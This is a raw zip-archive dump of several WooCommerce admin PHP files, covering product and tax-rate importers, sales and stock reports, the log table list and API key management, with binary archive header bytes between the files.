		wp_register_script( 'wc-product-import', WC()->plugin_url() . '/assets/js/admin/wc-product-import' . $suffix . '.js', array( 'jquery' ), $version, true );
	}

	/**
	 * The product importer.
	 *
	 * This has a custom screen - the Tools > Import item is a placeholder.
	 * If we're on that screen, redirect to the custom one.
	 */
	public function product_importer() {
		if ( Constants::is_defined( 'WP_LOAD_IMPORTERS' ) ) {
			wp_safe_redirect( admin_url( 'edit.php?post_type=product&page=product_importer' ) );
			exit;
		}

		include_once WC_ABSPATH . 'includes/import/class-wc-product-csv-importer.php';
		include_once WC_ABSPATH . 'includes/admin/importers/class-wc-product-csv-importer-controller.php';

		$importer = new WC_Product_CSV_Importer_Controller();
		$importer->dispatch();
	}

	/**
	 * Register WordPress based importers.
	 */
	public function register_importers() {
		if ( Constants::is_defined( 'WP_LOAD_IMPORTERS' ) ) {
			add_action( 'import_start', array( $this, 'post_importer_compatibility' ) );
			register_importer( 'woocommerce_product_csv', __( 'WooCommerce products (CSV)', 'woocommerce' ), __( 'Import <strong>products</strong> to your store via a csv file.', 'woocommerce' ), array( $this, 'product_importer' ) );
			register_importer( 'woocommerce_tax_rate_csv', __( 'WooCommerce tax rates (CSV)', 'woocommerce' ), __( 'Import <strong>tax rates</strong> to your store via a csv file.', 'woocommerce' ), array( $this, 'tax_rates_importer' ) );
		}
	}

	/**
	 * The tax rate importer which extends WP_Importer.
	 */
	public function tax_rates_importer() {
		require_once ABSPATH . 'wp-admin/includes/import.php';

		if ( ! class_exists( 'WP_Importer' ) ) {
			$class_wp_importer = ABSPATH . 'wp-admin/includes/class-wp-importer.php';

			if ( file_exists( $class_wp_importer ) ) {
				require $class_wp_importer;
			}
		}

		require dirname( __FILE__ ) . '/importers/class-wc-tax-rate-importer.php';

		$importer = new WC_Tax_Rate_Importer();
		$importer->dispatch();
	}

	/**
	 * When running the WP XML importer, ensure attributes exist.
	 *
	 * WordPress import should work - however, it fails to import custom product attribute taxonomies.
	 * This code grabs the file before it is imported and ensures the taxonomies are created.
	 */
	public function post_importer_compatibility() {
		global $wpdb;

		if ( empty( $_POST['import_id'] ) || ! class_exists( 'WXR_Parser' ) ) { // PHPCS: input var ok, CSRF ok.
			return;
		}

		$id          = absint( $_POST['import_id'] ); // PHPCS: input var ok.
		$file        = get_attached_file( $id );
		$parser      = new WXR_Parser();
		$import_data = $parser->parse( $file );

		if ( isset( $import_data['posts'] ) && ! empty( $import_data['posts'] ) ) {
			foreach ( $import_data['posts'] as $post ) {
				if ( 'product' === $post['post_type'] && ! empty( $post['terms'] ) ) {
					foreach ( $post['terms'] as $term ) {
						if ( strstr( $term['domain'], 'pa_' ) ) {
							if ( ! taxonomy_exists( $term['domain'] ) ) {
								$attribute_name = wc_attribute_taxonomy_slug( $term['domain'] );

								// Create the taxonomy.
								if ( ! in_array( $attribute_name, wc_get_attribute_taxonomies(), true ) ) {
									wc_create_attribute(
										array(
											'name'         => $attribute_name,
											'slug'         => $attribute_name,
											'type'         => 'select',
											'order_by'     => 'menu_order',
											'has_archives' => false,
										)
									);
								}

								// Register the taxonomy now so that the import works!
								register_taxonomy(
									$term['domain'],
									apply_filters( 'woocommerce_taxonomy_objects_' . $term['domain'], array( 'product' ) ),
									apply_filters(
										'woocommerce_taxonomy_args_' . $term['domain'],
										array(
											'hierarchical' => true,
											'show_ui'      => false,
											'query_var'    => true,
											'rewrite'      => false,
										)
									)
								);
							}
						}
					}
				}
			}
		}
	}

	/**
	 * Ajax callback for importing one batch of products from a CSV.
	 */
	public function do_ajax_product_import() {
		global $wpdb;

		check_ajax_referer( 'wc-product-import', 'security' );

		if ( ! $this->import_allowed() || ! isset( $_POST['file'] ) ) { // PHPCS: input var ok.
			wp_send_json_error( array( 'message' => __( 'Insufficient privileges to import products.', 'woocommerce' ) ) );
		}

		include_once WC_ABSPATH . 'includes/admin/importers/class-wc-product-csv-importer-controller.php';
		include_once WC_ABSPATH . 'includes/import/class-wc-product-csv-importer.php';

		$file   = wc_clean( wp_unslash( $_POST['file'] ) ); // PHPCS: input var ok.
		$params = array(
			'delimiter'       => ! empty( $_POST['delimiter'] ) ? wc_clean( wp_unslash( $_POST['delimiter'] ) ) : ',', // PHPCS: input var ok.
			'start_pos'       => isset( $_POST['position'] ) ? absint( $_POST['position'] ) : 0, // PHPCS: input var ok.
			'mapping'         => isset( $_POST['mapping'] ) ? (array) wc_clean( wp_unslash( $_POST['mapping'] ) ) : array(), // PHPCS: input var ok.
			'update_existing' => isset( $_POST['update_existing'] ) ? (bool) $_POST['update_existing'] : false, // PHPCS: input var ok.
			'lines'           => apply_filters( 'woocommerce_product_import_batch_size', 30 ),
			'parse'           => true,
		);

		// Log failures.
		if ( 0 !== $params['start_pos'] ) {
			$error_log = array_filter( (array) get_user_option( 'product_import_error_log' ) );
		} else {
			$error_log = array();
		}

		$importer         = WC_Product_CSV_Importer_Controller::get_importer( $file, $params );
		$results          = $importer->import();
		$percent_complete = $importer->get_percent_complete();
		$error_log        = array_merge( $error_log, $results['failed'], $results['skipped'] );

		update_user_option( get_current_user_id(), 'product_import_error_log', $error_log );

		if ( 100 === $percent_complete ) {
			// @codingStandardsIgnoreStart.
			$wpdb->delete( $wpdb->postmeta, array( 'meta_key' => '_original_id' ) );
			$wpdb->delete( $wpdb->posts, array(
				'post_type'   => 'product',
				'post_status' => 'importing',
			) );
			$wpdb->delete( $wpdb->posts, array(
				'post_type'   => 'product_variation',
				'post_status' => 'importing',
			) );
			// @codingStandardsIgnoreEnd.

			// Clean up orphaned data.
			$wpdb->query(
				"
				DELETE {$wpdb->posts}.* FROM {$wpdb->posts}
				LEFT JOIN {$wpdb->posts} wp ON wp.ID = {$wpdb->posts}.post_parent
				WHERE wp.ID IS NULL AND {$wpdb->posts}.post_type = 'product_variation'
			"
			);
			$wpdb->query(
				"
				DELETE {$wpdb->postmeta}.* FROM {$wpdb->postmeta}
				LEFT JOIN {$wpdb->posts} wp ON wp.ID = {$wpdb->postmeta}.post_id
				WHERE wp.ID IS NULL
			"
			);
			// @codingStandardsIgnoreStart.
			$wpdb->query( "
				DELETE tr.* FROM {$wpdb->term_relationships} tr
				LEFT JOIN {$wpdb->posts} wp ON wp.ID = tr.object_id
				LEFT JOIN {$wpdb->term_taxonomy} tt ON tr.term_taxonomy_id = tt.term_taxonomy_id
				WHERE wp.ID IS NULL
				AND tt.taxonomy IN ( '" . implode( "','", array_map( 'esc_sql', get_object_taxonomies( 'product' ) ) ) . "' )
			" );
			// @codingStandardsIgnoreEnd.

			// Send success.
			wp_send_json_success(
				array(
					'position'   => 'done',
					'percentage' => 100,
					'url'        => add_query_arg( array( '_wpnonce' => wp_create_nonce( 'woocommerce-csv-importer' ) ), admin_url( 'edit.php?post_type=product&page=product_importer&step=done' ) ),
					'imported'   => count( $results['imported'] ),
					'failed'     => count( $results['failed'] ),
					'updated'    => count( $results['updated'] ),
					'skipped'    => count( $results['skipped'] ),
				)
			);
		} else {
			wp_send_json_success(
				array(
					'position'   => $importer->get_file_position(),
					'percentage' => $percent_complete,
					'imported'   => count( $results['imported'] ),
					'failed'     => count( $results['failed'] ),
					'updated'    => count( $results['updated'] ),
					'skipped'    => count( $results['skipped'] ),
				)
			);
		}
	}
}

new WC_Admin_Importers();
PK�3\[����class-wc-admin-reports.phpnu�[���<?php
/**
 * Admin Reports
 *
 * Functions used for displaying sales and customer reports in admin.
 *
 * @author      WooThemes
 * @category    Admin
 * @package     WooCommerce\Admin\Reports
 * @version     2.0.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( class_exists( 'WC_Admin_Reports', false ) ) {
	return;
}

/**
 * WC_Admin_Reports Class.
 */
class WC_Admin_Reports {

	/**
	 * Handles output of the reports page in admin.
	 */
	public static function output() {
		$reports        = self::get_reports();
		$first_tab      = array_keys( $reports );
		$current_tab    = ! empty( $_GET['tab'] ) && array_key_exists( $_GET['tab'], $reports ) ? sanitize_title( $_GET['tab'] ) : $first_tab[0];
		$current_report = isset( $_GET['report'] ) ? sanitize_title( $_GET['report'] ) : current( array_keys( $reports[ $current_tab ]['reports'] ) );

		include_once dirname( __FILE__ ) . '/reports/class-wc-admin-report.php';
		include_once dirname( __FILE__ ) . '/views/html-admin-page-reports.php';
	}

	/**
	 * Returns the definitions for the reports to show in admin.
	 *
	 * @return array
	 */
	public static function get_reports() {
		$reports = array(
			'orders'    => array(
				'title'   => __( 'Orders', 'woocommerce' ),
				'reports' => array(
					'sales_by_date'     => array(
						'title'       => __( 'Sales by date', 'woocommerce' ),
						'description' => '',
						'hide_title'  => true,
						'callback'    => array( __CLASS__, 'get_report' ),
					),
					'sales_by_product'  => array(
						'title'       => __( 'Sales by product', 'woocommerce' ),
						'description' => '',
						'hide_title'  => true,
						'callback'    => array( __CLASS__, 'get_report' ),
					),
					'sales_by_category' => array(
						'title'       => __( 'Sales by category', 'woocommerce' ),
						'description' => '',
						'hide_title'  => true,
						'callback'    => array( __CLASS__, 'get_report' ),
					),
					'coupon_usage'      => array(
						'title'       => __( 'Coupons by date', 'woocommerce' ),
						'description' => '',
						'hide_title'  => true,
						'callback'    => array( __CLASS__, 'get_report' ),
					),
					'downloads'         => array(
						'title'       => __( 'Customer downloads', 'woocommerce' ),
						'description' => '',
						'hide_title'  => true,
						'callback'    => array( __CLASS__, 'get_report' ),
					),
				),
			),
			'customers' => array(
				'title'   => __( 'Customers', 'woocommerce' ),
				'reports' => array(
					'customers'     => array(
						'title'       => __( 'Customers vs. guests', 'woocommerce' ),
						'description' => '',
						'hide_title'  => true,
						'callback'    => array( __CLASS__, 'get_report' ),
					),
					'customer_list' => array(
						'title'       => __( 'Customer list', 'woocommerce' ),
						'description' => '',
						'hide_title'  => true,
						'callback'    => array( __CLASS__, 'get_report' ),
					),
				),
			),
			'stock'     => array(
				'title'   => __( 'Stock', 'woocommerce' ),
				'reports' => array(
					'low_in_stock' => array(
						'title'       => __( 'Low in stock', 'woocommerce' ),
						'description' => '',
						'hide_title'  => true,
						'callback'    => array( __CLASS__, 'get_report' ),
					),
					'out_of_stock' => array(
						'title'       => __( 'Out of stock', 'woocommerce' ),
						'description' => '',
						'hide_title'  => true,
						'callback'    => array( __CLASS__, 'get_report' ),
					),
					'most_stocked' => array(
						'title'       => __( 'Most stocked', 'woocommerce' ),
						'description' => '',
						'hide_title'  => true,
						'callback'    => array( __CLASS__, 'get_report' ),
					),
				),
			),
		);

		if ( wc_tax_enabled() ) {
			$reports['taxes'] = array(
				'title'   => __( 'Taxes', 'woocommerce' ),
				'reports' => array(
					'taxes_by_code' => array(
						'title'       => __( 'Taxes by code', 'woocommerce' ),
						'description' => '',
						'hide_title'  => true,
						'callback'    => array( __CLASS__, 'get_report' ),
					),
					'taxes_by_date' => array(
						'title'       => __( 'Taxes by date', 'woocommerce' ),
						'description' => '',
						'hide_title'  => true,
						'callback'    => array( __CLASS__, 'get_report' ),
					),
				),
			);
		}

		$reports = apply_filters( 'woocommerce_admin_reports', $reports );
		$reports = apply_filters( 'woocommerce_reports_charts', $reports ); // Backwards compatibility.

		foreach ( $reports as $key => $report_group ) {
			if ( isset( $reports[ $key ]['charts'] ) ) {
				$reports[ $key ]['reports'] = $reports[ $key ]['charts'];
			}

			foreach ( $reports[ $key ]['reports'] as $report_key => $report ) {
				if ( isset( $reports[ $key ]['reports'][ $report_key ]['function'] ) ) {
					$reports[ $key ]['reports'][ $report_key ]['callback'] = $reports[ $key ]['reports'][ $report_key ]['function'];
				}
			}
		}

		return $reports;
	}

	/**
	 * Get a report from our reports subfolder.
	 *
	 * @param string $name
	 */
	public static function get_report( $name ) {
		$name  = sanitize_title( str_replace( '_', '-', $name ) );
		$class = 'WC_Report_' . str_replace( '-', '_', $name );

		include_once apply_filters( 'wc_admin_reports_path', 'reports/class-wc-report-' . $name . '.php', $name, $class );

		if ( ! class_exists( $class ) ) {
			return;
		}

		$report = new $class();
		$report->output_report();
	}
}
PK�3\���%%!class-wc-admin-log-table-list.phpnu�[���<?php
/**
 * WooCommerce Log Table List
 *
 * @author   WooThemes
 * @category Admin
 * @package  WooCommerce\Admin
 * @version  1.0.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( ! class_exists( 'WP_List_Table' ) ) {
	require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php';
}

class WC_Admin_Log_Table_List extends WP_List_Table {

	/**
	 * Initialize the log table list.
	 */
	public function __construct() {
		parent::__construct(
			array(
				'singular' => 'log',
				'plural'   => 'logs',
				'ajax'     => false,
			)
		);
	}

	/**
	 * Display level dropdown
	 *
	 * @global wpdb $wpdb
	 */
	public function level_dropdown() {

		$levels = array(
			array(
				'value' => WC_Log_Levels::EMERGENCY,
				'label' => __( 'Emergency', 'woocommerce' ),
			),
			array(
				'value' => WC_Log_Levels::ALERT,
				'label' => __( 'Alert', 'woocommerce' ),
			),
			array(
				'value' => WC_Log_Levels::CRITICAL,
				'label' => __( 'Critical', 'woocommerce' ),
			),
			array(
				'value' => WC_Log_Levels::ERROR,
				'label' => __( 'Error', 'woocommerce' ),
			),
			array(
				'value' => WC_Log_Levels::WARNING,
				'label' => __( 'Warning', 'woocommerce' ),
			),
			array(
				'value' => WC_Log_Levels::NOTICE,
				'label' => __( 'Notice', 'woocommerce' ),
			),
			array(
				'value' => WC_Log_Levels::INFO,
				'label' => __( 'Info', 'woocommerce' ),
			),
			array(
				'value' => WC_Log_Levels::DEBUG,
				'label' => __( 'Debug', 'woocommerce' ),
			),
		);

		$selected_level = isset( $_REQUEST['level'] ) ? $_REQUEST['level'] : '';
		?>
			<label for="filter-by-level" class="screen-reader-text"><?php esc_html_e( 'Filter by level', 'woocommerce' ); ?></label>
			<select name="level" id="filter-by-level">
				<option<?php selected( $selected_level, '' ); ?> value=""><?php esc_html_e( 'All levels', 'woocommerce' ); ?></option>
				<?php
				foreach ( $levels as $l ) {
					printf(
						'<option%1$s value="%2$s">%3$s</option>',
						selected( $selected_level, $l['value'], false ),
						esc_attr( $l['value'] ),
						esc_html( $l['label'] )
					);
				}
				?>
			</select>
		<?php
	}

	/**
	 * Get list columns.
	 *
	 * @return array
	 */
	public function get_columns() {
		return array(
			'cb'        => '<input type="checkbox" />',
			'timestamp' => __( 'Timestamp', 'woocommerce' ),
			'level'     => __( 'Level', 'woocommerce' ),
			'message'   => __( 'Message', 'woocommerce' ),
			'source'    => __( 'Source', 'woocommerce' ),
		);
	}

	/**
	 * Column cb.
	 *
	 * @param  array $log
	 * @return string
	 */
	public function column_cb( $log ) {
		return sprintf( '<input type="checkbox" name="log[]" value="%1$s" />', esc_attr( $log['log_id'] ) );
	}

	/**
	 * Timestamp column.
	 *
	 * @param  array $log
	 * @return string
	 */
	public function column_timestamp( $log ) {
		return esc_html(
			mysql2date(
				'Y-m-d H:i:s',
				$log['timestamp']
			)
		);
	}

	/**
	 * Level column.
	 *
	 * @param  array $log
	 * @return string
	 */
	public function column_level( $log ) {
		$level_key = WC_Log_Levels::get_severity_level( $log['level'] );
		$levels    = array(
			'emergency' => __( 'Emergency', 'woocommerce' ),
			'alert'     => __( 'Alert', 'woocommerce' ),
			'critical'  => __( 'Critical', 'woocommerce' ),
			'error'     => __( 'Error', 'woocommerce' ),
			'warning'   => __( 'Warning', 'woocommerce' ),
			'notice'    => __( 'Notice', 'woocommerce' ),
			'info'      => __( 'Info', 'woocommerce' ),
			'debug'     => __( 'Debug', 'woocommerce' ),
		);

		if ( ! isset( $levels[ $level_key ] ) ) {
			return '';
		}

		$level       = $levels[ $level_key ];
		$level_class = sanitize_html_class( 'log-level--' . $level_key );
		return '<span class="log-level ' . $level_class . '">' . esc_html( $level ) . '</span>';
	}

	/**
	 * Message column.
	 *
	 * @param  array $log
	 * @return string
	 */
	public function column_message( $log ) {
		return esc_html( $log['message'] );
	}

	/**
	 * Source column.
	 *
	 * @param  array $log
	 * @return string
	 */
	public function column_source( $log ) {
		return esc_html( $log['source'] );
	}

	/**
	 * Get bulk actions.
	 *
	 * @return array
	 */
	protected function get_bulk_actions() {
		return array(
			'delete' => __( 'Delete', 'woocommerce' ),
		);
	}

	/**
	 * Extra controls to be displayed between bulk actions and pagination.
	 *
	 * @param string $which
	 */
	protected function extra_tablenav( $which ) {
		if ( 'top' === $which ) {
			echo '<div class="alignleft actions">';
				$this->level_dropdown();
				$this->source_dropdown();
				submit_button( __( 'Filter', 'woocommerce' ), '', 'filter-action', false );
			echo '</div>';
		}
	}

	/**
	 * Get a list of sortable columns.
	 *
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array(
			'timestamp' => array( 'timestamp', true ),
			'level'     => array( 'level', true ),
			'source'    => array( 'source', true ),
		);
	}

	/**
	 * Display source dropdown
	 *
	 * @global wpdb $wpdb
	 */
	protected function source_dropdown() {
		global $wpdb;

		$sources = $wpdb->get_col(
			"SELECT DISTINCT source
			FROM {$wpdb->prefix}woocommerce_log
			WHERE source != ''
			ORDER BY source ASC"
		);

		if ( ! empty( $sources ) ) {
			$selected_source = isset( $_REQUEST['source'] ) ? $_REQUEST['source'] : '';
			?>
				<label for="filter-by-source" class="screen-reader-text"><?php esc_html_e( 'Filter by source', 'woocommerce' ); ?></label>
				<select name="source" id="filter-by-source">
					<option<?php selected( $selected_source, '' ); ?> value=""><?php esc_html_e( 'All sources', 'woocommerce' ); ?></option>
					<?php
					foreach ( $sources as $s ) {
						printf(
							'<option%1$s value="%2$s">%3$s</option>',
							selected( $selected_source, $s, false ),
							esc_attr( $s ),
							esc_html( $s )
						);
					}
					?>
				</select>
			<?php
		}
	}

	/**
	 * Prepare table list items.
	 *
	 * @global wpdb $wpdb
	 */
	public function prepare_items() {
		global $wpdb;

		$this->prepare_column_headers();

		$per_page = $this->get_items_per_page( 'woocommerce_status_log_items_per_page', 10 );

		$where  = $this->get_items_query_where();
		$order  = $this->get_items_query_order();
		$limit  = $this->get_items_query_limit();
		$offset = $this->get_items_query_offset();

		$query_items = "
			SELECT log_id, timestamp, level, message, source
			FROM {$wpdb->prefix}woocommerce_log
			{$where} {$order} {$limit} {$offset}
		";

		$this->items = $wpdb->get_results( $query_items, ARRAY_A );

		$query_count = "SELECT COUNT(log_id) FROM {$wpdb->prefix}woocommerce_log {$where}";
		$total_items = $wpdb->get_var( $query_count );

		$this->set_pagination_args(
			array(
				'total_items' => $total_items,
				'per_page'    => $per_page,
				'total_pages' => ceil( $total_items / $per_page ),
			)
		);
	}

	/**
	 * Get prepared LIMIT clause for items query
	 *
	 * @global wpdb $wpdb
	 *
	 * @return string Prepared LIMIT clause for items query.
	 */
	protected function get_items_query_limit() {
		global $wpdb;

		$per_page = $this->get_items_per_page( 'woocommerce_status_log_items_per_page', 10 );
		return $wpdb->prepare( 'LIMIT %d', $per_page );
	}

	/**
	 * Get prepared OFFSET clause for items query
	 *
	 * @global wpdb $wpdb
	 *
	 * @return string Prepared OFFSET clause for items query.
	 */
	protected function get_items_query_offset() {
		global $wpdb;

		$per_page     = $this->get_items_per_page( 'woocommerce_status_log_items_per_page', 10 );
		$current_page = $this->get_pagenum();
		if ( 1 < $current_page ) {
			$offset = $per_page * ( $current_page - 1 );
		} else {
			$offset = 0;
		}

		return $wpdb->prepare( 'OFFSET %d', $offset );
	}

	/**
	 * Get prepared ORDER BY clause for items query
	 *
	 * @return string Prepared ORDER BY clause for items query.
	 */
	protected function get_items_query_order() {
		$valid_orders = array( 'level', 'source', 'timestamp' );
		if ( ! empty( $_REQUEST['orderby'] ) && in_array( $_REQUEST['orderby'], $valid_orders ) ) {
			$by = wc_clean( $_REQUEST['orderby'] );
		} else {
			$by = 'timestamp';
		}
		$by = esc_sql( $by );

		if ( ! empty( $_REQUEST['order'] ) && 'asc' === strtolower( $_REQUEST['order'] ) ) {
			$order = 'ASC';
		} else {
			$order = 'DESC';
		}

		return "ORDER BY {$by} {$order}, log_id {$order}";
	}

	/**
	 * Get prepared WHERE clause for items query
	 *
	 * @global wpdb $wpdb
	 *
	 * @return string Prepared WHERE clause for items query.
	 */
	protected function get_items_query_where() {
		global $wpdb;

		$where_conditions = array();
		$where_values     = array();
		if ( ! empty( $_REQUEST['level'] ) && WC_Log_Levels::is_valid_level( $_REQUEST['level'] ) ) {
			$where_conditions[] = 'level >= %d';
			$where_values[]     = WC_Log_Levels::get_level_severity( $_REQUEST['level'] );
		}
		if ( ! empty( $_REQUEST['source'] ) ) {
			$where_conditions[] = 'source = %s';
			$where_values[]     = wc_clean( $_REQUEST['source'] );
		}
		if ( ! empty( $_REQUEST['s'] ) ) {
			$where_conditions[] = 'message like %s';
			$where_values[]     = '%' . $wpdb->esc_like( wc_clean( wp_unslash( $_REQUEST['s'] ) ) ) . '%';
		}

		if ( empty( $where_conditions ) ) {
			return '';
		}

		return $wpdb->prepare( 'WHERE 1 = 1 AND ' . implode( ' AND ', $where_conditions ), $where_values );
	}

	/**
	 * Set _column_headers property for table list
	 */
	protected function prepare_column_headers() {
		$this->_column_headers = array(
			$this->get_columns(),
			array(),
			$this->get_sortable_columns(),
		);
	}
}
PK�3\}={44class-wc-admin-api-keys.phpnu�[���<?php
/**
 * WooCommerce Admin API Keys Class
 *
 * @package WooCommerce\Admin
 * @version 2.4.0
 */

defined( 'ABSPATH' ) || exit;

/**
 * WC_Admin_API_Keys.
 */
class WC_Admin_API_Keys {

	/**
	 * Initialize the API Keys admin actions.
	 */
	public function __construct() {
		add_action( 'admin_init', array( $this, 'actions' ) );
		add_action( 'woocommerce_settings_page_init', array( $this, 'screen_option' ) );
		add_filter( 'woocommerce_save_settings_advanced_keys', array( $this, 'allow_save_settings' ) );
	}

	/**
	 * Check if should allow save settings.
	 * This prevents "Your settings have been saved." notices on the table list.
	 *
	 * @param  bool $allow If allow save settings.
	 * @return bool
	 */
	public function allow_save_settings( $allow ) {
		if ( ! isset( $_GET['create-key'], $_GET['edit-key'] ) ) { // WPCS: input var okay, CSRF ok.
			return false;
		}

		return $allow;
	}

	/**
	 * Check if is API Keys settings page.
	 *
	 * @return bool
	 */
	private function is_api_keys_settings_page() {
		return isset( $_GET['page'], $_GET['tab'], $_GET['section'] ) && 'wc-settings' === $_GET['page'] && 'advanced' === $_GET['tab'] && 'keys' === $_GET['section']; // WPCS: input var okay, CSRF ok.
	}

	/**
	 * Page output.
	 */
	public static function page_output() {
		// Hide the save button.
		$GLOBALS['hide_save_button'] = true;

		if ( isset( $_GET['create-key'] ) || isset( $_GET['edit-key'] ) ) {
			$key_id   = isset( $_GET['edit-key'] ) ? absint( $_GET['edit-key'] ) : 0; // WPCS: input var okay, CSRF ok.
			$key_data = self::get_key_data( $key_id );
			$user_id  = (int) $key_data['user_id'];

			if ( $key_id && $user_id && ! current_user_can( 'edit_user', $user_id ) ) {
				if ( get_current_user_id() !== $user_id ) {
					wp_die( esc_html__( 'You do not have permission to edit this API Key', 'woocommerce' ) );
				}
			}

			include dirname( __FILE__ ) . '/settings/views/html-keys-edit.php';
		} else {
			self::table_list_output();
		}
	}

	/**
	 * Add screen option.
	 */
	public function screen_option() {
		global $keys_table_list;

		if ( ! isset( $_GET['create-key'] ) && ! isset( $_GET['edit-key'] ) && $this->is_api_keys_settings_page() ) { // WPCS: input var okay, CSRF ok.
			$keys_table_list = new WC_Admin_API_Keys_Table_List();

			// Add screen option.
			add_screen_option(
				'per_page',
				array(
					'default' => 10,
					'option'  => 'woocommerce_keys_per_page',
				)
			);
		}
	}

	/**
	 * Table list output.
	 */
	private static function table_list_output() {
		global $wpdb, $keys_table_list;

		echo '<h2 class="wc-table-list-header">' . esc_html__( 'REST API', 'woocommerce' ) . ' <a href="' . esc_url( admin_url( 'admin.php?page=wc-settings&tab=advanced&section=keys&create-key=1' ) ) . '" class="add-new-h2">' . esc_html__( 'Add key', 'woocommerce' ) . '</a></h2>';

		// Get the API keys count.
		$count = $wpdb->get_var( "SELECT COUNT(key_id) FROM {$wpdb->prefix}woocommerce_api_keys WHERE 1 = 1;" );

		if ( absint( $count ) && $count > 0 ) {
			$keys_table_list->prepare_items();

			echo '<input type="hidden" name="page" value="wc-settings" />';
			echo '<input type="hidden" name="tab" value="advanced" />';
			echo '<input type="hidden" name="section" value="keys" />';

			$keys_table_list->views();
			$keys_table_list->search_box( __( 'Search key', 'woocommerce' ), 'key' );
			$keys_table_list->display();
		} else {
			echo '<div class="woocommerce-BlankState woocommerce-BlankState--api">';
			?>
			<h2 class="woocommerce-BlankState-message"><?php esc_html_e( 'The WooCommerce REST API allows external apps to view and manage store data. Access is granted only to those with valid API keys.', 'woocommerce' ); ?></h2>
			<a class="woocommerce-BlankState-cta button-primary button" href="<?php echo esc_url( admin_url( 'admin.php?page=wc-settings&tab=advanced&section=keys&create-key=1' ) ); ?>"><?php esc_html_e( 'Create an API key', 'woocommerce' ); ?></a>
			<style type="text/css">#posts-filter .wp-list-table, #posts-filter .tablenav.top, .tablenav.bottom .actions { display: none; }</style>
			<?php
		}
	}

	/**
	 * Get key data.
	 *
	 * @param  int $key_id API Key ID.
	 * @return array
	 */
	private static function get_key_data( $key_id ) {
		global $wpdb;

		$empty = array(
			'key_id'        => 0,
			'user_id'       => '',
			'description'   => '',
			'permissions'   => '',
			'truncated_key' => '',
			'last_access'   => '',
		);

		if ( 0 === $key_id ) {
			return $empty;
		}

		$key = $wpdb->get_row(
			$wpdb->prepare(
				"SELECT key_id, user_id, description, permissions, truncated_key, last_access
				FROM {$wpdb->prefix}woocommerce_api_keys
				WHERE key_id = %d",
				$key_id
			),
			ARRAY_A
		);

		if ( is_null( $key ) ) {
			return $empty;
		}

		return $key;
	}

	/**
	 * API Keys admin actions.
	 */
	public function actions() {
		if ( $this->is_api_keys_settings_page() ) {
			// Revoke key.
			if ( isset( $_REQUEST['revoke-key'] ) ) { // WPCS: input var okay, CSRF ok.
				$this->revoke_key();
			}

			// Bulk actions.
			if ( isset( $_REQUEST['action'] ) && isset( $_REQUEST['key'] ) ) { // WPCS: input var okay, CSRF ok.
				$this->bulk_actions();
			}
		}
	}

	/**
	 * Notices.
	 */
	public static function notices() {
		if ( isset( $_GET['revoked'] ) ) { // WPCS: input var okay, CSRF ok.
			$revoked = absint( $_GET['revoked'] ); // WPCS: input var okay, CSRF ok.

			/* translators: %d: count */
			WC_Admin_Settings::add_message( sprintf( _n( '%d API key permanently revoked.', '%d API keys permanently revoked.', $revoked, 'woocommerce' ), $revoked ) );
		}
	}

	/**
	 * Revoke key.
	 */
	private function revoke_key() {
		global $wpdb;

		check_admin_referer( 'revoke' );

		if ( isset( $_REQUEST['revoke-key'] ) ) { // WPCS: input var okay, CSRF ok.
			$key_id  = absint( $_REQUEST['revoke-key'] ); // WPCS: input var okay, CSRF ok.
			$user_id = (int) $wpdb->get_var( $wpdb->prepare( "SELECT user_id FROM {$wpdb->prefix}woocommerce_api_keys WHERE key_id = %d", $key_id ) );

			if ( $key_id && $user_id && ( current_user_can( 'edit_user', $user_id ) || get_current_user_id() === $user_id ) ) {
				$this->remove_key( $key_id );
			} else {
				wp_die( esc_html__( 'You do not have permission to revoke this API Key', 'woocommerce' ) );
			}
		}

		wp_safe_redirect( esc_url_raw( add_query_arg( array( 'revoked' => 1 ), admin_url( 'admin.php?page=wc-settings&tab=advanced&section=keys' ) ) ) );
		exit();
	}

	/**
	 * Bulk actions.
	 */
	private function bulk_actions() {
		check_admin_referer( 'woocommerce-settings' );

		if ( ! current_user_can( 'manage_woocommerce' ) ) {
			wp_die( esc_html__( 'You do not have permission to edit API Keys', 'woocommerce' ) );
		}

		if ( isset( $_REQUEST['action'] ) ) { // WPCS: input var okay, CSRF ok.
			$action = sanitize_text_field( wp_unslash( $_REQUEST['action'] ) ); // WPCS: input var okay, CSRF ok.
			$keys   = isset( $_REQUEST['key'] ) ? array_map( 'absint', (array) $_REQUEST['key'] ) : array(); // WPCS: input var okay, CSRF ok.

			if ( 'revoke' === $action ) {
				$this->bulk_revoke_key( $keys );
			}
		}
	}

	/**
	 * Bulk revoke key.
	 *
	 * @param array $keys API Keys.
	 */
	private function bulk_revoke_key( $keys ) {
		if ( ! current_user_can( 'remove_users' ) ) {
			wp_die( esc_html__( 'You do not have permission to revoke API Keys', 'woocommerce' ) );
		}

		$qty = 0;
		foreach ( $keys as $key_id ) {
			$result = $this->remove_key( $key_id );

			if ( $result ) {
				$qty++;
			}
		}

		// Redirect to webhooks page.
		wp_safe_redirect( esc_url_raw( add_query_arg( array( 'revoked' => $qty ), admin_url( 'admin.php?page=wc-settings&tab=advanced&section=keys' ) ) ) );
		exit();
	}

	/**
	 * Remove key.
	 *
	 * @param  int $key_id API Key ID.
	 * @return bool
	 */
	private function remove_key( $key_id ) {
		global $wpdb;

		$delete = $wpdb->delete( $wpdb->prefix . 'woocommerce_api_keys', array( 'key_id' => $key_id ), array( '%d' ) );

		return $delete;
	}
}

new WC_Admin_API_Keys();
PK�3\�G�/(/(class-wc-admin.phpnu�[���<?php
/**
 * WooCommerce Admin
 *
 * @class    WC_Admin
 * @package  WooCommerce\Admin
 * @version  2.6.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * WC_Admin class.
 */
class WC_Admin {

	/**
	 * Constructor.
	 */
	public function __construct() {
		add_action( 'init', array( $this, 'includes' ) );
		add_action( 'current_screen', array( $this, 'conditional_includes' ) );
		add_action( 'admin_init', array( $this, 'buffer' ), 1 );
		add_action( 'admin_init', array( $this, 'preview_emails' ) );
		add_action( 'admin_init', array( $this, 'prevent_admin_access' ) );
		add_action( 'admin_init', array( $this, 'admin_redirects' ) );
		add_action( 'admin_footer', 'wc_print_js', 25 );
		add_filter( 'admin_footer_text', array( $this, 'admin_footer_text' ), 1 );
		add_action( 'init', array( 'WC_Site_Tracking', 'init' ) );

		// Disable WXR export of schedule action posts.
